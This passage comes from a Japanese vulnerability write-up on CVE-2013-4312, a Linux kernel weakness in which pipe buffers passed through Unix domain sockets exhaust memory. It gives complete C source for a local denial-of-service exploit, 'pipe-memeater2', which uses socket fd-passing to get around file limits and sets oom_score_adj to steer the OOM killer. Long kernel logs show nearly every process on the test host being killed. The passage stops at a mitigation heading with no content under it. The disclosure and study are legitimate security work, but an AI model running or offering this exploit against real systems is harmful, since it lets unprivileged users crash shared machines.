[  100.240035] Out of memory: kill process 1602 (gnome-session) score 230152 or a child
[  100.241502] Killed process 1625 (at-spi-registry) vsz:120748kB, anon-rss:1132kB, file-rss:0kB
(繰り返し部分省略)
[  117.042248] pipe-memeater invoked oom-killer: gfp_mask=0x201da, order=0, oom_adj=0
[  117.047397] pipe-memeater cpuset=/ mems_allowed=0
[  117.050821] Pid: 1695, comm: pipe-memeater Not tainted 2.6.35.14 #1
[  117.055079] Call Trace:
[  117.056842]  [<ffffffff810ac9e1>] ? cpuset_print_task_mems_allowed+0x91/0xa0
[  117.061573]  [<ffffffff810f8e4e>] dump_header+0x6e/0x1c0
[  117.065216]  [<ffffffff8121b950>] ? ___ratelimit+0xa0/0x120
[  117.069040]  [<ffffffff810f9021>] oom_kill_process+0x81/0x180
[  117.072962]  [<ffffffff810f9558>] __out_of_memory+0x58/0xd0
[  117.076774]  [<ffffffff810f9656>] out_of_memory+0x86/0x1b0
[  117.080130]  [<ffffffff810fe4dc>] __alloc_pages_nodemask+0x7dc/0x7f0
[  117.081905]  [<ffffffff810503f9>] ? finish_task_switch+0x49/0xb0
[  117.083564]  [<ffffffff8112e87a>] alloc_pages_current+0x9a/0x100
[  117.085189]  [<ffffffff810f6627>] __page_cache_alloc+0x87/0x90
[  117.086761]  [<ffffffff8110056b>] __do_page_cache_readahead+0xdb/0x210
[  117.088509]  [<ffffffff811006c1>] ra_submit+0x21/0x30
[  117.089867]  [<ffffffff810f7eb0>] filemap_fault+0x400/0x450
[  117.091370]  [<ffffffff81111c34>] __do_fault+0x54/0x550
[  117.092783]  [<ffffffff811148f5>] handle_mm_fault+0x1c5/0xce0
[  117.094331]  [<ffffffff8114e7ad>] ? pipe_fcntl+0x11d/0x230
[  117.095809]  [<ffffffff8113583c>] ? __kmalloc+0x21c/0x230
[  117.097269]  [<ffffffff8148817c>] do_page_fault+0x11c/0x320
[  117.098771]  [<ffffffff81484e35>] page_fault+0x25/0x30
[  117.100186] Mem-Info:
[  117.100828] Node 0 DMA per-cpu:
[  117.101721] CPU    0: hi:    0, btch:   1 usd:   0
[  117.103026] CPU    1: hi:    0, btch:   1 usd:   0
[  117.104324] CPU    2: hi:    0, btch:   1 usd:   0
[  117.105638] CPU    3: hi:    0, btch:   1 usd:   0
[  117.106938] Node 0 DMA32 per-cpu:
[  117.107901] CPU    0: hi:  186, btch:  31 usd:   0
[  117.109194] CPU    1: hi:  186, btch:  31 usd:   0
[  117.110416] CPU    2: hi:  186, btch:  31 usd:  60
[  117.111349] CPU    3: hi:  186, btch:  31 usd:   0
[  117.112250] active_anon:108 inactive_anon:943 isolated_anon:0
[  117.112250]  active_file:12 inactive_file:26 isolated_file:0
[  117.112251]  unevictable:0 dirty:0 writeback:0 unstable:0
[  117.112251]  free:3440 slab_reclaimable:3789 slab_unreclaimable:22390
[  117.112252]  mapped:0 shmem:73 pagetables:199 bounce:0
[  117.117807] Node 0 DMA free:8064kB min:40kB low:48kB high:60kB active_anon:0kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15704kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:0kB slab_reclaimable:24kB slab_unreclaimable:1044kB kernel_stack:0kB pagetables:0kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes
[  117.124393] lowmem_reserve[]: 0 2004 2004 2004
[  117.125326] Node 0 DMA32 free:5696kB min:5708kB low:7132kB high:8560kB active_anon:432kB inactive_anon:3772kB active_file:48kB inactive_file:104kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2052192kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:292kB slab_reclaimable:15132kB slab_unreclaimable:88516kB kernel_stack:1048kB pagetables:796kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:320 all_unreclaimable? yes
[  117.132331] lowmem_reserve[]: 0 0 0 0
[  117.133309] Node 0 DMA: 0*4kB 76*8kB 0*16kB 1*32kB 2*64kB 1*128kB 2*256kB 1*512kB 2*1024kB 2*2048kB 0*4096kB = 8064kB
[  117.135516] Node 0 DMA32: 699*4kB 1*8kB 6*16kB 2*32kB 2*64kB 1*128kB 0*256kB 1*512kB 0*1024kB 1*2048kB 0*4096kB = 5780kB
[  117.137807] 112 total pagecache pages
[  117.138501] 0 pages in swap cache
[  117.139134] Swap cache stats: add 0, delete 0, find 0/0
[  117.140090] Free swap  = 0kB
[  117.140602] Total swap = 0kB
[  117.143667] 524272 pages RAM
[  117.144630] 13239 pages reserved
[  117.145267] 275 pages shared
[  117.145895] 489349 pages non-shared
[  117.146529] [ pid ]   uid  tgid total_vm      rss cpu oom_adj name
[  117.147662] [    1]     0     1     4850       75   0       0 init
[  117.148883] [  423]     0   423     2767      200   0     -17 udevd
[  117.150166] [ 1086]     0  1086     2292      122   1       0 dhclient
[  117.151359] [ 1142]     0  1142     6399       59   0     -17 auditd
[  117.152556] [ 1285]     0  1285     5639       46   1       0 hald-addon-rfki
[  117.153910] [ 1293]     0  1293     5641       47   1       0 hald-addon-inpu
[  117.155214] [ 1317]     0  1317    16570      177   2     -17 sshd
[  117.156409] [ 1426]     0  1426     1028       21   2       0 mingetty
[  117.157610] [ 1428]     0  1428     1028       21   3       0 mingetty
[  117.158821] [ 1430]     0  1430     1032       21   0       0 agetty
[  117.160054] [ 1431]     0  1431     1028       21   1       0 mingetty
[  117.161282] [ 1433]     0  1433     1028       20   1       0 mingetty
[  117.162468] [ 1435]     0  1435     1028       21   2       0 mingetty
[  117.163692] [ 1437]     0  1437     2683      116   3     -17 udevd
[  117.164843] [ 1438]     0  1438     2683      116   2     -17 udevd
[  117.166093] [ 1694]   500  1694      993       19   2       0 pipe-memeater
[  117.167424] [ 1695]   500  1695      993       19   2       0 pipe-memeater
[  117.168767] [ 1697]     0  1697     1028       20   3       0 mingetty
[  117.170007] Out of memory: kill process 1694 (pipe-memeater) score 993 or a child
[  117.171449] Killed process 1694 (pipe-memeater) vsz:3972kB, anon-rss:76kB, file-rss:0kB
[kumaneko@localhost ~]$ pstree -pA
init(1)-+-agetty(1430)
        |-auditd(1142)---{auditd}(1143)
        |-dhclient(1086)
        |-hald-addon-inpu(1293)
        |-hald-addon-rfki(1285)
        |-mingetty(1426)
        |-mingetty(1428)
        |-mingetty(1431)
        |-mingetty(1433)
        |-mingetty(1435)
        |-mingetty(1697)
        |-pipe-memeater(1695)
        |-sshd(1317)---sshd(1770)---sshd(1772)---bash(1773)---pstree(1790)
        `-udevd(423)-+-udevd(1437)
                     `-udevd(1438)
[kumaneko@localhost ~]$
---------- 実行結果例 ここまで ----------

ということで、この脆弱性に対して CVE-2013-4312 が割り当てられました。


2.2 この脆弱性の影響範囲は?

「そういえば、 TOMOYO 1.7 の管理ツールの中に、 Unix ドメインソケットを用いてファイルディスクリプタを渡す処理があったなぁ。ということは、 Unix ドメインソケットを使えば、たった1プロセスで全てのファイルディスクリプタをパイプに割り当て、パイプのバッファで埋め尽くすことができそうな気がするなぁ。」

実験:全ファイルディスクリプタをパイプで埋め尽くしたら何が起こるだろう?

---------- pipe-memeater2.c ----------
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#include <fcntl.h>
#include <poll.h>
#define F_SETPIPE_SZ (1024 + 7)

static int send_fd(int socket_fd, int fd) {
        struct msghdr msg = { };
        struct iovec iov = { "", 1 };
        char cmsg_buf[CMSG_SPACE(sizeof(int))];
        struct cmsghdr *cmsg = (struct cmsghdr *) cmsg_buf;
        msg.msg_iov = &iov;
        msg.msg_iovlen = 1;
        msg.msg_control = cmsg_buf;
        msg.msg_controllen = sizeof(cmsg_buf);
        cmsg->cmsg_level = SOL_SOCKET;
        cmsg->cmsg_type = SCM_RIGHTS;
        cmsg->cmsg_len = CMSG_LEN(sizeof(int));
        msg.msg_controllen = cmsg->cmsg_len;
        memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
        return sendmsg(socket_fd, &msg, MSG_DONTWAIT);
}

int main(int argc, char *argv[])
{
        int fd;
        int socket_fd[2] = { EOF, EOF };
        for (fd = 0; fd < 1024; fd++)
                close(fd);
        for (fd = 0; fd < 10; fd++)
                if (fork() == 0) {
                        fd = open("/proc/self/oom_score_adj", O_WRONLY);
                        write(fd, "1", 1);
                        close(fd);
                        while (1)
                                sleep(1);
                }
        if (fork() || fork() || setsid() == EOF)
                _exit(0);
        if (socketpair(PF_UNIX, SOCK_STREAM, 0, socket_fd))
                _exit(0);
        fd = socket_fd[1];
        while (1) {
                if (socketpair(PF_UNIX, SOCK_STREAM, 0, socket_fd) ||
                        send_fd(fd, socket_fd[0]) == EOF)
                        break;
                while (1) {
                        static char buf[4096];
                        int ret;
                        int pipe_fd[2] = { EOF, EOF };
                        if (pipe(pipe_fd))
                                break;
                        ret = send_fd(fd, pipe_fd[0]);
                        if (argc == 1) {
                                fcntl(pipe_fd[1], F_SETPIPE_SZ, 1048576);
                                fcntl(pipe_fd[1], F_SETFL, O_NONBLOCK | fcntl(pipe_fd[1], F_GETFL));
                                while (write(pipe_fd[1], buf, sizeof(buf)) == sizeof(buf));
                        }
                        close(pipe_fd[1]);
                        close(pipe_fd[0]);
                        if (ret == EOF)
                                break;
                }
                close(socket_fd[0]);
                close(fd);
                fd = socket_fd[1];
        }
        if (argc != 1)
                while (1)
                        sleep(1);
        _exit(0);
}
---------- pipe-memeater2.c ----------

結果:予想通り、 OOM killer 乱発でほぼ全てのプロセスを強制終了させることができてしまいました。

---------- 実行結果例 ここから ----------
[kumaneko@localhost ~]$ pstree -pA
init(1)-+-NetworkManager(1271)
        |-agetty(1502)
        |-auditd(1207)---{auditd}(1208)
        |-bonobo-activati(1699)---{bonobo-activat}(1700)
        |-console-kit-dae(1510)-+-{console-kit-da}(1511)
        |                       |-{console-kit-da}(1512)
        |                       |-{console-kit-da}(1513)
        |                       |-{console-kit-da}(1514)
        |                       |-{console-kit-da}(1515)
        |                       |-{console-kit-da}(1516)
        |                       |-{console-kit-da}(1517)
        |                       |-{console-kit-da}(1518)
        |                       |-{console-kit-da}(1519)
        |                       |-{console-kit-da}(1520)
        |                       |-{console-kit-da}(1521)
        |                       |-{console-kit-da}(1522)
        |                       |-{console-kit-da}(1523)
        |                       |-{console-kit-da}(1524)
        |                       |-{console-kit-da}(1525)
        |                       |-{console-kit-da}(1526)
        |                       |-{console-kit-da}(1527)
        |                       |-{console-kit-da}(1528)
        |                       |-{console-kit-da}(1529)
        |                       |-{console-kit-da}(1530)
        |                       |-{console-kit-da}(1531)
        |                       |-{console-kit-da}(1532)
        |                       |-{console-kit-da}(1533)
        |                       |-{console-kit-da}(1534)
        |                       |-{console-kit-da}(1535)
        |                       |-{console-kit-da}(1536)
        |                       |-{console-kit-da}(1537)
        |                       |-{console-kit-da}(1538)
        |                       |-{console-kit-da}(1539)
        |                       |-{console-kit-da}(1540)
        |                       |-{console-kit-da}(1541)
        |                       |-{console-kit-da}(1542)
        |                       |-{console-kit-da}(1543)
        |                       |-{console-kit-da}(1544)
        |                       |-{console-kit-da}(1545)
        |                       |-{console-kit-da}(1546)
        |                       |-{console-kit-da}(1547)
        |                       |-{console-kit-da}(1548)
        |                       |-{console-kit-da}(1549)
        |                       |-{console-kit-da}(1550)
        |                       |-{console-kit-da}(1551)
        |                       |-{console-kit-da}(1552)
        |                       |-{console-kit-da}(1553)
        |                       |-{console-kit-da}(1554)
        |                       |-{console-kit-da}(1555)
        |                       |-{console-kit-da}(1556)
        |                       |-{console-kit-da}(1557)
        |                       |-{console-kit-da}(1558)
        |                       |-{console-kit-da}(1559)
        |                       |-{console-kit-da}(1560)
        |                       |-{console-kit-da}(1561)
        |                       |-{console-kit-da}(1562)
        |                       |-{console-kit-da}(1563)
        |                       |-{console-kit-da}(1564)
        |                       |-{console-kit-da}(1565)
        |                       |-{console-kit-da}(1566)
        |                       |-{console-kit-da}(1567)
        |                       |-{console-kit-da}(1568)
        |                       |-{console-kit-da}(1569)
        |                       |-{console-kit-da}(1570)
        |                       |-{console-kit-da}(1571)
        |                       |-{console-kit-da}(1572)
        |                       `-{console-kit-da}(1574)
        |-crond(1476)
        |-dbus-daemon(1670)
        |-dbus-daemon(1258)
        |-dbus-launch(1669)
        |-devkit-power-da(1674)
        |-dhclient(1151)
        |-gconfd-2(1680)
        |-gdm-binary(1636)-+-gdm-simple-slav(1649)-+-Xorg(1652)
        |                  |                       |-gdm-session-wor(1730)
        |                  |                       |-gnome-session(1671)-+-at-spi-registry(1694)
        |                  |                       |                     |-gdm-simple-gree(1710)
        |                  |                       |                     |-gnome-power-man(1711)
        |                  |                       |                     |-metacity(1707)
        |                  |                       |                     |-polkit-gnome-au(1709)
        |                  |                       |                     `-{gnome-session}(1695)
        |                  |                       `-{gdm-simple-sla}(1653)
        |                  `-{gdm-binary}(1650)
        |-gnome-settings-(1697)---{gnome-settings}(1702)
        |-gvfsd(1706)
        |-hald(1310)-+-hald-runner(1311)-+-hald-addon-acpi(1366)
        |            |                   |-hald-addon-inpu(1359)
        |            |                   `-hald-addon-rfki(1349)
        |            `-{hald}(1312)
        |-login(1492)---bash(1577)
        |-master(1464)-+-pickup(1481)
        |              `-qmgr(1482)
        |-mingetty(1494)
        |-mingetty(1496)
        |-mingetty(1498)
        |-mingetty(1500)
        |-mingetty(1503)
        |-modem-manager(1275)
        |-notification-da(1716)
        |-polkitd(1714)
        |-pulseaudio(1723)---{pulseaudio}(1729)
        |-rsyslogd(1229)-+-{rsyslogd}(1230)
        |                |-{rsyslogd}(1231)
        |                `-{rsyslogd}(1233)
        |-rtkit-daemon(1725)-+-{rtkit-daemon}(1726)
        |                    `-{rtkit-daemon}(1727)
        |-sshd(1385)---sshd(1733)---sshd(1735)---bash(1736)---pstree(1753)
        |-udevd(487)-+-udevd(1507)
        |            `-udevd(1508)
        `-wpa_supplicant(1350)
[kumaneko@localhost ~]$ ./pipe-memeater2
(再ログイン部分省略)
[kumaneko@localhost ~]$ dmesg
[  132.693170] pipe-memeater2 invoked oom-killer: gfp_mask=0x200d2, order=0, oom_adj=0, oom_score_adj=0
[  132.695011] pipe-memeater2 cpuset=/ mems_allowed=0
[  132.695984] Pid: 1766, comm: pipe-memeater2 Not tainted 2.6.32-573.26.1.el6.x86_64 #1
[  132.697532] Call Trace:
[  132.698055]  [<ffffffff810d7151>] ? cpuset_print_task_mems_allowed+0x91/0xb0
[  132.699429]  [<ffffffff8112a950>] ? dump_header+0x90/0x1b0
[  132.700575]  [<ffffffff8123360c>] ? security_real_capable_noaudit+0x3c/0x70
[  132.701822]  [<ffffffff8112add2>] ? oom_kill_process+0x82/0x2a0
[  132.702877]  [<ffffffff8112ad11>] ? select_bad_process+0xe1/0x120
[  132.704026]  [<ffffffff8112b210>] ? out_of_memory+0x220/0x3c0
[  132.705082]  [<ffffffff81137bec>] ? __alloc_pages_nodemask+0x93c/0x950
[  132.706243]  [<ffffffff8117097a>] ? alloc_pages_current+0xaa/0x110
[  132.707432]  [<ffffffff8119d274>] ? pipe_write+0x3c4/0x6b0
[  132.708457]  [<ffffffff81191f0a>] ? do_sync_write+0xfa/0x140
[  132.709525]  [<ffffffff81177f49>] ? ____cache_alloc_node+0x99/0x160
[  132.710684]  [<ffffffff810a1820>] ? autoremove_wake_function+0x0/0x40
[  132.712004]  [<ffffffff811b25f2>] ? alloc_fd+0x92/0x160
[  132.712954]  [<ffffffff81232026>] ? security_file_permission+0x16/0x20
[  132.714140]  [<ffffffff81192208>] ? vfs_write+0xb8/0x1a0
[  132.715225]  [<ffffffff811936f6>] ? fget_light_pos+0x16/0x50
[  132.716293]  [<ffffffff81192d41>] ? sys_write+0x51/0xb0
[  132.717298]  [<ffffffff810e8c2e>] ? __audit_syscall_exit+0x25e/0x290
[  132.718554]  [<ffffffff8100b0d2>] ? system_call_fastpath+0x16/0x1b
[  132.719749] Mem-Info:
[  132.720206] Node 0 DMA per-cpu:
[  132.720817] CPU    0: hi:    0, btch:   1 usd:   0
[  132.721771] CPU    1: hi:    0, btch:   1 usd:   0
[  132.722666] CPU    2: hi:    0, btch:   1 usd:   0
[  132.723666] CPU    3: hi:    0, btch:   1 usd:   0
[  132.724652] Node 0 DMA32 per-cpu:
[  132.725328] CPU    0: hi:  186, btch:  31 usd:   0
[  132.726211] CPU    1: hi:  186, btch:  31 usd:  36
[  132.727161] CPU    2: hi:  186, btch:  31 usd:   0
[  132.728076] CPU    3: hi:  186, btch:  31 usd:   3
[  132.728950] active_anon:14917 inactive_anon:249 isolated_anon:0
[  132.728951]  active_file:0 inactive_file:18 isolated_file:0
[  132.728951]  unevictable:0 dirty:8 writeback:0 unstable:0
[  132.728951]  free:13255 slab_reclaimable:7730 slab_unreclaimable:20346
[  132.728952]  mapped:281 shmem:306 pagetables:1876 bounce:0
[  132.734252] Node 0 DMA free:8344kB min:332kB low:412kB high:496kB active_anon:0kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15300kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:0kB slab_reclaimable:84kB slab_unreclaimable:252kB kernel_stack:0kB pagetables:0kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes
[  132.742139] lowmem_reserve[]: 0 2004 2004 2004
[  132.743187] Node 0 DMA32 free:44676kB min:44720kB low:55900kB high:67080kB active_anon:59668kB inactive_anon:996kB active_file:0kB inactive_file:72kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2052192kB mlocked:0kB dirty:32kB writeback:0kB mapped:1124kB shmem:1224kB slab_reclaimable:30836kB slab_unreclaimable:81132kB kernel_stack:4384kB pagetables:7504kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:191 all_unreclaimable? yes
[  132.750447] lowmem_reserve[]: 0 0 0 0
[  132.751251] Node 0 DMA: 2*4kB 0*8kB 1*16kB 2*32kB 1*64kB 2*128kB 1*256kB 1*512kB 1*1024kB 3*2048kB 0*4096kB = 8344kB
[  132.753469] Node 0 DMA32: 1595*4kB 865*8kB 431*16kB 241*32kB 130*64kB 34*128kB 2*256kB 1*512kB 1*1024kB 1*2048kB 0*4096kB = 44676kB
[  132.755994] 356 total pagecache pages
[  132.756679] 0 pages in swap cache
[  132.757295] Swap cache stats: add 0, delete 0, find 0/0
[  132.758283] Free swap  = 0kB
[  132.758803] Total swap = 0kB
[  132.761657] 524272 pages RAM
[  132.762296] 45689 pages reserved
[  132.762876] 1143 pages shared
[  132.763423] 459523 pages non-shared
[  132.764069] [ pid ]   uid  tgid total_vm      rss cpu oom_adj oom_score_adj name
[  132.765411] [  487]     0   487     2699      145   0     -17         -1000 udevd
[  132.766814] [ 1151]     0  1151     2280      123   1       0             0 dhclient
[  132.768201] [ 1207]     0  1207     6899       61   3     -17         -1000 auditd
[  132.769536] [ 1229]     0  1229    62271      648   3       0             0 rsyslogd
[  132.770997] [ 1258]    81  1258     5459      168   2       0             0 dbus-daemon
[  132.772434] [ 1271]     0  1271    20705      222   3       0             0 NetworkManager
[  132.773961] [ 1275]     0  1275    14530      124   3       0             0 modem-manager
[  132.775459] [ 1310]    68  1310     9588      292   3       0             0 hald
[  132.776834] [ 1311]     0  1311     5099       55   3       0             0 hald-runner
[  132.778298] [ 1349]     0  1349     5627       46   1       0             0 hald-addon-rfki
[  132.779789] [ 1350]     0  1350    11247      134   0       0             0 wpa_supplicant
[  132.781244] [ 1359]     0  1359     5629       46   3       0             0 hald-addon-inpu
[  132.782802] [ 1366]    68  1366     4501       41   1       0             0 hald-addon-acpi
[  132.784277] [ 1385]     0  1385    16558      177   0     -17         -1000 sshd
[  132.785665] [ 1464]     0  1464    20222      226   3       0             0 master
[  132.787005] [ 1476]     0  1476    29216      153   0       0             0 crond
[  132.788365] [ 1481]    89  1481    20242      218   2       0             0 pickup
[  132.789833] [ 1482]    89  1482    20259      219   0       0             0 qmgr
[  132.791187] [ 1492]     0  1492    17403      127   1       0             0 login
[  132.792555] [ 1494]     0  1494     1016       21   0       0             0 mingetty
[  132.794302] [ 1496]     0  1496     1016       21   0       0             0 mingetty
[  132.795719] [ 1498]     0  1498     1016       22   0       0             0 mingetty
[  132.797089] [ 1500]     0  1500     1016       22   0       0             0 mingetty
[  132.798541] [ 1502]     0  1502     1020       23   0       0             0 agetty
[  132.799880] [ 1503]     0  1503     1016       20   0       0             0 mingetty
[  132.801484] [ 1507]     0  1507     2698      144   2     -17         -1000 udevd
[  132.802964] [ 1508]     0  1508     2698      144   0     -17         -1000 udevd
[  132.804308] [ 1510]     0  1510   521256      341   3       0             0 console-kit-dae
[  132.805966] [ 1577]     0  1577    27076       95   2       0             0 bash
[  132.807295] [ 1636]     0  1636    33501       81   0       0             0 gdm-binary
[  132.808710] [ 1649]     0  1649    41156      153   3       0             0 gdm-simple-slav
[  132.810269] [ 1652]     0  1652    42840     4384   3       0             0 Xorg
[  132.811594] [ 1669]    42  1669     5009       66   2       0             0 dbus-launch
[  132.813061] [ 1670]    42  1670     5390       86   3       0             0 dbus-daemon
[  132.814495] [ 1671]    42  1671    67289      479   1       0             0 gnome-session
[  132.815956] [ 1674]     0  1674    12490      161   3       0             0 devkit-power-da
[  132.817561] [ 1680]    42  1680    33055      539   3       0             0 gconfd-2
[  132.819058] [ 1694]    42  1694    30175      292   0       0             0 at-spi-registry
[  132.820530] [ 1697]    42  1697    86838      958   1       0             0 gnome-settings-
[  132.822181] [ 1699]    42  1699    89636      197   1       0             0 bonobo-activati
[  132.823653] [ 1706]    42  1706    33819       82   1       0             0 gvfsd
[  132.825062] [ 1707]    42  1707    71453      682   1       0             0 metacity
[  132.826434] [ 1709]    42  1709    62076      443   0       0             0 polkit-gnome-au
[  132.827924] [ 1710]    42  1710    95132     1239   3       0             0 gdm-simple-gree
[  132.829457] [ 1711]    42  1711    68423      516   3       0             0 gnome-power-man
[  132.830948] [ 1714]     0  1714    13157      303   2       0             0 polkitd
[  132.832303] [ 1723]    42  1723    86434      201   2       0             0 pulseaudio
[  132.833781] [ 1725]   498  1725    42113       53   2       0             0 rtkit-daemon
[  132.835231] [ 1730]     0  1730    35441       95   3       0             0 gdm-session-wor
[  132.836776] [ 1733]     0  1733    25629      255   0       0             0 sshd
[  132.838102] [ 1735]   500  1735    25629      256   0       0             0 sshd
[  132.839429] [ 1736]   500  1736    27076       94   2       0             0 bash
[  132.840851] [ 1755]   500  1755      981       20   3       0             1 pipe-memeater2
[  132.842372] [ 1756]   500  1756      981       20   0       0             1 pipe-memeater2
[  132.843858] [ 1757]   500  1757      981       20   1       0             1 pipe-memeater2
[  132.845384] [ 1758]   500  1758      981       20   3       0             1 pipe-memeater2
[  132.846866] [ 1759]   500  1759      981       20   0       0             1 pipe-memeater2
[  132.848426] [ 1760]   500  1760      981       20   1       0             1 pipe-memeater2
[  132.850046] [ 1761]   500  1761      981       20   0       0             1 pipe-memeater2
[  132.851526] [ 1762]   500  1762      981       20   3       0             1 pipe-memeater2
[  132.853038] [ 1763]   500  1763      981       20   0       0             1 pipe-memeater2
[  132.854517] [ 1764]   500  1764      981       20   1       0             1 pipe-memeater2
[  132.856059] [ 1766]   500  1766      981       20   1       0             0 pipe-memeater2
[  132.857548] Out of memory: Kill process 1697 (gnome-settings-) score 2 or sacrifice child
[  132.859015] Killed process 1697, UID 42, (gnome-settings-) total-vm:347352kB, anon-rss:3252kB, file-rss:580kB
(繰り返し部分省略)
[  137.704574] pipe-memeater2 invoked oom-killer: gfp_mask=0x201da, order=0, oom_adj=0, oom_score_adj=0
[  137.707278] pipe-memeater2 cpuset=/ mems_allowed=0
[  137.708516] Pid: 1766, comm: pipe-memeater2 Not tainted 2.6.32-573.26.1.el6.x86_64 #1
[  137.710327] Call Trace:
[  137.711014]  [<ffffffff810d7151>] ? cpuset_print_task_mems_allowed+0x91/0xb0
[  137.712503]  [<ffffffff8112a950>] ? dump_header+0x90/0x1b0
[  137.713895]  [<ffffffff8153c797>] ? _spin_unlock_irqrestore+0x17/0x20
[  137.715475]  [<ffffffff8112add2>] ? oom_kill_process+0x82/0x2a0
[  137.716797]  [<ffffffff8112ad11>] ? select_bad_process+0xe1/0x120
[  137.718171]  [<ffffffff8112b210>] ? out_of_memory+0x220/0x3c0
[  137.719466]  [<ffffffff81137bec>] ? __alloc_pages_nodemask+0x93c/0x950
[  137.720710]  [<ffffffff8117097a>] ? alloc_pages_current+0xaa/0x110
[  137.721864]  [<ffffffff81127d47>] ? __page_cache_alloc+0x87/0x90
[  137.723103]  [<ffffffff8112772e>] ? find_get_page+0x1e/0xa0
[  137.724195]  [<ffffffff81128ce7>] ? filemap_fault+0x1a7/0x500
[  137.725370]  [<ffffffff811522c4>] ? __do_fault+0x54/0x530
[  137.726422]  [<ffffffff8107ed47>] ? current_fs_time+0x27/0x30
[  137.727569]  [<ffffffff81152897>] ? handle_pte_fault+0xf7/0xb20
[  137.728774]  [<ffffffff8119d1da>] ? pipe_write+0x32a/0x6b0
[  137.730021]  [<ffffffff81153559>] ? handle_mm_fault+0x299/0x3d0
[  137.731316]  [<ffffffff8104f156>] ? __do_page_fault+0x146/0x500
[  137.732674]  [<ffffffff811b25f2>] ? alloc_fd+0x92/0x160
[  137.733747]  [<ffffffff8153f90e>] ? do_page_fault+0x3e/0xa0
[  137.735073]  [<ffffffff8153cc55>] ? page_fault+0x25/0x30
[  137.736314] Mem-Info:
[  137.737119] Node 0 DMA per-cpu:
[  137.738204] CPU    0: hi:    0, btch:   1 usd:   0
[  137.739307] CPU    1: hi:    0, btch:   1 usd:   0
[  137.740428] CPU    2: hi:    0, btch:   1 usd:   0
[  137.741553] CPU    3: hi:    0, btch:   1 usd:   0
[  137.742553] Node 0 DMA32 per-cpu:
[  137.743233] CPU    0: hi:  186, btch:  31 usd:   4
[  137.745237] CPU    1: hi:  186, btch:  31 usd:   0
[  137.746208] CPU    2: hi:  186, btch:  31 usd:   0
[  137.747148] CPU    3: hi:  186, btch:  31 usd:   0
[  137.748115] active_anon:634 inactive_anon:18 isolated_anon:0
[  137.748115]  active_file:0 inactive_file:96 isolated_file:0
[  137.748116]  unevictable:0 dirty:0 writeback:0 unstable:0
[  137.748116]  free:13318 slab_reclaimable:7641 slab_unreclaimable:20767
[  137.748117]  mapped:21 shmem:75 pagetables:118 bounce:0
[  137.753688] Node 0 DMA free:8344kB min:332kB low:412kB high:496kB active_anon:0kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15300kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:0kB slab_reclaimable:92kB slab_unreclaimable:252kB kernel_stack:0kB pagetables:0kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes
[  137.760653] lowmem_reserve[]: 0 2004 2004 2004
[  137.761734] Node 0 DMA32 free:44928kB min:44720kB low:55900kB high:67080kB active_anon:2536kB inactive_anon:72kB active_file:0kB inactive_file:384kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2052192kB mlocked:0kB dirty:0kB writeback:0kB mapped:84kB shmem:300kB slab_reclaimable:30472kB slab_unreclaimable:82816kB kernel_stack:2928kB pagetables:472kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  137.769505] lowmem_reserve[]: 0 0 0 0
[  137.770383] Node 0 DMA: 2*4kB 0*8kB 1*16kB 2*32kB 1*64kB 2*128kB 1*256kB 1*512kB 1*1024kB 3*2048kB 0*4096kB = 8344kB
[  137.772807] Node 0 DMA32: 810*4kB 612*8kB 293*16kB 185*32kB 99*64kB 50*128kB 15*256kB 9*512kB 3*1024kB 1*2048kB 0*4096kB = 45048kB
[  137.775481] 239 total pagecache pages
[  137.776214] 0 pages in swap cache
[  137.776877] Swap cache stats: add 0, delete 0, find 0/0
[  137.777916] Free swap  = 0kB
[  137.778504] Total swap = 0kB
[  137.781695] 524272 pages RAM
[  137.782347] 45689 pages reserved
[  137.783046] 314 pages shared
[  137.783631] 460183 pages non-shared
[  137.784339] [ pid ]   uid  tgid total_vm      rss cpu oom_adj oom_score_adj name
[  137.785819] [  487]     0   487     2699      145   0     -17         -1000 udevd
[  137.787313] [ 1207]     0  1207     6899       61   3     -17         -1000 auditd
[  137.788720] [ 1385]     0  1385    16558      177   0     -17         -1000 sshd
[  137.790073] [ 1507]     0  1507     2698      144   2     -17         -1000 udevd
[  137.791486] [ 1508]     0  1508     2698      144   0     -17         -1000 udevd
[  137.792912] [ 1766]   500  1766      981       20   3       0             0 pipe-memeater2
[  137.794509] Out of memory: Kill process 1766 (pipe-memeater2) score 1 or sacrifice child
[  137.796076] Killed process 1766, UID 500, (pipe-memeater2) total-vm:3924kB, anon-rss:80kB, file-rss:0kB
[kumaneko@localhost ~]$ pstree -pA
init(1)-+-agetty(1777)
        |-auditd(1207)---{auditd}(1208)
        |-mingetty(1768)
        |-mingetty(1769)
        |-mingetty(1770)
        |-mingetty(1771)
        |-mingetty(1772)
        |-mingetty(1773)
        |-sshd(1385)---sshd(1856)---sshd(1858)---bash(1859)---pstree(1877)
        `-udevd(487)-+-udevd(1507)
                     `-udevd(1508)
[kumaneko@localhost ~]$
---------- 実行結果例 ここまで ----------

つまり、問題のパッチが取り込まれている Linux 2.6.35 以降だけでなく、 Unix ドメインソケットを用いてファイルディスクリプタを渡す機能が搭載されている Linux 2.0 (1996年6月リリース)以降の全バージョンに対して、この攻撃が通用するということです。

 →現在稼働しているであろう Linux システムは全滅ですね。


2.3 この脆弱性の緩和策は?

